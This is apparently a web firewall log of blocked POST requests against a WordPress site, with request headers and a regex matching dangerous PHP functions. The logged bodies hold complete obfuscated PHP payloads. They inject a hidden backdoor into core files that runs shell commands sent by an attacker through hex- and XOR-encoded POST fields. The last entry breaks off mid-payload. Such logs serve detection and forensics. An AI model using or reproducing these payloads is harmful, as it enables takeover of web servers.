3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nQb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:43:24","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:9012\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:43:25","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/XSalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524token_parser_engine6%2520%253D%2520%2522%255Cx73%255Cx74r%255Cx65am%255Cx5F%255Cx67e%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74ents%2522%253B%2520%2524token_parser_engine1%2520%253D%2520%2522s%255Cx79%255Cx73%255Cx74em%2522%253B%2520%2524system_core%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524token_parser_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524token_parser_engine5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520%2524token_parser_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520%2524token_parser_engine4%2520%253D%2520%2522passt%255Cx68r%255Cx75%2522%253B%2520%2524token_parser_engine7%2520%253D%2520%2522pc%255Cx6Cose%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%2529%2520%257B%2520function%2520task_processor%2528%2524ptr%2520%252C%2520%2524pset%2529%2520%257B%2520%2524tkn%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524ptr%2529%2520as%2520%2524char%2529%257B%2520%2524tkn.%253Dchr%2528ord%2528%2524char%2529%255E%2524pset%2529%253B%2520%257D%2520return%2520%2524tkn%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524system_core%2528%2524_POST%255B%2522%255Cx73ymbol%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520task_processor%2528%2524symbol%252C%252050%2529%253B%2520if%2520%2528function_exists%2528%2524token_parser_engine1%2529%2529%2520%257B%2520%2524token_parser_engine1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine2%2529%2529%2520%257B%2520print%2520%2524token_parser_engine2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine3%2529%2529%2520%257B%2520%2524token_parser_engine3%2528%2524symbol%252C%2520%2524ent_ptr%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524ent_ptr%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine4%2529%2529%2520%257B%2520%2524token_parser_engine4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524token_parser_engine5%2529%2520%2526%2526%2520function_exists%2528%2524token_parser_